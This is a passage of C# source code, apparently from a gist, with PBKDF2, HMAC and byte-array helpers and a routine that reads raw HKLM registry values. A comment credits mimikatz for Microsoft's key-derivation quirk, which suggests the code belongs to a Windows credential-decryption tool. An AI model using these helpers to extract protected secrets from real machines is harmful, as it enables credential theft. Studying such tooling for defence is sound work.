var ppadSHA1bytes = sha1.ComputeHash(opad); | |
return Combine(ipadSHA1bytes, ppadSHA1bytes); | |
} | |
} | |
else | |
{ | |
Console.WriteLine("[X] Alghash not yet implemented: {0}", algHash); | |
return new byte[0]; | |
} | |
} | |
public static byte[] Combine(byte[] first, byte[] second) | |
{ | |
// helper to combine two byte arrays | |
byte[] ret = new byte[first.Length + second.Length]; | |
Buffer.BlockCopy(first, 0, ret, 0, first.Length); | |
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length); | |
return ret; | |
} | |
private static byte[] HMACSha512(byte[] keyBytes, byte[] saltBytes) | |
{ | |
var hmac = new HMACSHA512(keyBytes); | |
var sessionKeyBytes = hmac.ComputeHash(saltBytes); | |
return sessionKeyBytes; | |
} | |
public static byte[] StringToByteArray(string hex) | |
{ | |
// helper to convert a string hex representation to a byte array | |
return Enumerable.Range(0, hex.Length).Where(x => x % 2 == 0).Select(x => Convert.ToByte(hex.Substring(x, 2), 16)).ToArray(); | |
} | |
public static byte[] GetRegKeyValue(string keyPath) | |
{ | |
// takes a given HKLM key path and returns the registry value | |
int result = 0; | |
IntPtr hKey = IntPtr.Zero; | |
// open the specified key with read (0x19) privileges | |
// 0x80000002 == HKLM | |
result = RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); | |
if (result != 0) | |
{ | |
int error = Marshal.GetLastWin32Error(); | |
string errorMessage = new Win32Exception((int)error).Message; | |
Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, error, errorMessage); | |
return null; | |
} | |
int cbData = 0; | |
result = RegQueryValueEx(hKey, null, 0, IntPtr.Zero, IntPtr.Zero, ref cbData); | |
if (result != 0) | |
{ | |
int error = Marshal.GetLastWin32Error(); | |
string errorMessage = new Win32Exception((int)error).Message; | |
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage); | |
RegCloseKey(hKey); | |
return null; | |
} | |
IntPtr dataPtr = Marshal.AllocHGlobal(cbData); | |
result = RegQueryValueEx(hKey, null, 0, IntPtr.Zero, dataPtr, ref cbData); | |
if (result != 0) | |
{ | |
int error = Marshal.GetLastWin32Error(); | |
string errorMessage = new Win32Exception((int)error).Message; | |
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage); | |
RegCloseKey(hKey); | |
return null; | |
} | |
byte[] data = new byte[cbData]; | |
Marshal.Copy(dataPtr, data, 0, cbData); | |
RegCloseKey(hKey); | |
return data; | |
} | |
public static bool IsUnicode(byte[] bytes) | |
{ | |
// helper that users the IsTextUnicode() API call to determine if a byte array is likely unicode text | |
IsTextUnicodeFlags flags = IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS; | |
return IsTextUnicode(bytes, bytes.Length, ref flags); | |
} | |
[Flags] | |
public enum IsTextUnicodeFlags : int | |
{ | |
IS_TEXT_UNICODE_ASCII16 = 0x0001, | |
IS_TEXT_UNICODE_REVERSE_ASCII16 = 0x0010, | |
IS_TEXT_UNICODE_STATISTICS = 0x0002, | |
IS_TEXT_UNICODE_REVERSE_STATISTICS = 0x0020, | |
IS_TEXT_UNICODE_CONTROLS = 0x0004, | |
IS_TEXT_UNICODE_REVERSE_CONTROLS = 0x0040, | |
IS_TEXT_UNICODE_SIGNATURE = 0x0008, | |
IS_TEXT_UNICODE_REVERSE_SIGNATURE = 0x0080, | |
IS_TEXT_UNICODE_ILLEGAL_CHARS = 0x0100, | |
IS_TEXT_UNICODE_ODD_LENGTH = 0x0200, | |
IS_TEXT_UNICODE_DBCS_LEADBYTE = 0x0400, | |
IS_TEXT_UNICODE_NULL_BYTES = 0x1000, | |
IS_TEXT_UNICODE_UNICODE_MASK = 0x000F, | |
IS_TEXT_UNICODE_REVERSE_MASK = 0x00F0, | |
IS_TEXT_UNICODE_NOT_UNICODE_MASK = 0x0F00, | |
IS_TEXT_UNICODE_NOT_ASCII_MASK = 0xF000 | |
} | |
[DllImport("Advapi32", SetLastError = false)] | |
public static extern bool IsTextUnicode( | |
byte[] buf, | |
int len, | |
ref IsTextUnicodeFlags opt | |
); | |
} | |
/// <summary> | |
/// Generic PBKDF2 implementation. | |
/// </summary> | |
/// <example>This sample shows how to initialize class with SHA-256 HMAC. | |
/// <code> | |
/// using (var hmac = new HMACSHA256()) { | |
/// var df = new Pbkdf2(hmac, "password", "salt"); | |
/// var bytes = df.GetBytes(); | |
/// } | |
/// </code> | |
/// </example> | |
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pbkdf", Justification = "Spelling is correct.")] | |
public class Pbkdf2 | |
{ | |
/// <summary> | |
/// Creates new instance. | |
/// </summary> | |
/// <param name="algorithm">HMAC algorithm to use.</param> | |
/// <param name="password">The password used to derive the key.</param> | |
/// <param name="salt">The key salt used to derive the key.</param> | |
/// <param name="iterations">The number of iterations for the operation.</param> | |
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception> | |
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt, Int32 iterations) | |
{ | |
if (algorithm == null) { throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); } | |
if (salt == null) { throw new ArgumentNullException("salt", "Salt cannot be null."); } | |
if (password == null) { throw new ArgumentNullException("password", "Password cannot be null."); } | |
this.Algorithm = algorithm; | |
this.Algorithm.Key = password; | |
this.Salt = salt; | |
this.IterationCount = iterations; | |
this.BlockSize = this.Algorithm.HashSize / 8; | |
this.BufferBytes = new byte[this.BlockSize]; | |
} | |
/// <summary> | |
/// Creates new instance. | |
/// </summary> | |
/// <param name="algorithm">HMAC algorithm to use.</param> | |
/// <param name="password">The password used to derive the key.</param> | |
/// <param name="salt">The key salt used to derive the key.</param> | |
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception> | |
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt) | |
: this(algorithm, password, salt, 1000) | |
{ | |
} | |
/// <summary> | |
/// Creates new instance. | |
/// </summary> | |
/// <param name="algorithm">HMAC algorithm to use.</param> | |
/// <param name="password">The password used to derive the key.</param> | |
/// <param name="salt">The key salt used to derive the key.</param> | |
/// <param name="iterations">The number of iterations for the operation.</param> | |
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception> | |
public Pbkdf2(HMAC algorithm, String password, String salt, Int32 iterations) : | |
this(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations) | |
{ | |
} | |
/// <summary> | |
/// Creates new instance. | |
/// </summary> | |
/// <param name="algorithm">HMAC algorithm to use.</param> | |
/// <param name="password">The password used to derive the key.</param> | |
/// <param name="salt">The key salt used to derive the key.</param> | |
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception> | |
public Pbkdf2(HMAC algorithm, String password, String salt) : | |
this(algorithm, password, salt, 1000) | |
{ | |
} | |
private readonly int BlockSize; | |
private uint BlockIndex = 1; | |
private byte[] BufferBytes; | |
private int BufferStartIndex = 0; | |
private int BufferEndIndex = 0; | |
/// <summary> | |
/// Gets algorithm used for generating key. | |
/// </summary> | |
public HMAC Algorithm { get; private set; } | |
/// <summary> | |
/// Gets salt bytes. | |
/// </summary> | |
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification = "Byte array is proper return value in this case.")] | |
public Byte[] Salt { get; private set; } | |
/// <summary> | |
/// Gets iteration count. | |
/// </summary> | |
public Int32 IterationCount { get; private set; } | |
/// <summary> | |
/// Returns a pseudo-random key from a password, salt and iteration count. | |
/// </summary> | |
/// <param name="count">Number of bytes to return.</param> | |
/// <returns>Byte array.</returns> | |
/// | |
public Byte[] GetBytes(int count, string algorithm = "sha512") | |
{ | |
byte[] result = new byte[count]; | |
int resultOffset = 0; | |
int bufferCount = this.BufferEndIndex - this.BufferStartIndex; | |
if (bufferCount > 0) | |
{ //if there is some data in buffer | |
if (count < bufferCount) | |
{ //if there is enough data in buffer | |
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, count); | |
this.BufferStartIndex += count; | |
return result; | |
} | |
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, bufferCount); | |
this.BufferStartIndex = this.BufferEndIndex = 0; | |
resultOffset += bufferCount; | |
} | |
while (resultOffset < count) | |
{ | |
int needCount = count - resultOffset; | |
if (algorithm.ToLower() == "sha256") | |
this.BufferBytes = this.Func(false); | |
else | |
this.BufferBytes = this.Func(); | |
if (needCount > this.BlockSize) | |
{ //we one (or more) additional passes | |
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, this.BlockSize); | |
resultOffset += this.BlockSize; | |
} | |
else | |
{ | |
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, needCount); | |
this.BufferStartIndex = needCount; | |
this.BufferEndIndex = this.BlockSize; | |
return result; | |
} | |
} | |
return result; | |
} | |
private byte[] Func(bool mscrypto = true) | |
{ | |
var hash1Input = new byte[this.Salt.Length + 4]; | |
Buffer.BlockCopy(this.Salt, 0, hash1Input, 0, this.Salt.Length); | |
Buffer.BlockCopy(GetBytesFromInt(this.BlockIndex), 0, hash1Input, this.Salt.Length, 4); | |
var hash1 = this.Algorithm.ComputeHash(hash1Input); | |
byte[] finalHash = hash1; | |
for (int i = 2; i <= this.IterationCount; i++) | |
{ | |
hash1 = this.Algorithm.ComputeHash(hash1, 0, hash1.Length); | |
for (int j = 0; j < this.BlockSize; j++) | |
{ | |
finalHash[j] = (byte)(finalHash[j] ^ hash1[j]); | |
} | |
if (mscrypto) | |
Array.Copy(finalHash, hash1, hash1.Length); // "thank you MS!" -@gentilkiwi | |
// https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/modules/kull_m_crypto.c#L207 | |
} | |
if (this.BlockIndex == uint.MaxValue) { throw new InvalidOperationException("Derived key too long."); } | |
this.BlockIndex += 1; | |
return finalHash; | |
} | |
private static byte[] GetBytesFromInt(uint i) | |
{ | |
var bytes = BitConverter.GetBytes(i); | |
if (BitConverter.IsLittleEndian) | |
{ | |
return new byte[] { bytes[3], bytes[2], bytes[1], bytes[0] }; | |
} | |
else | |
{ | |
return bytes; | |
} | |
} | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment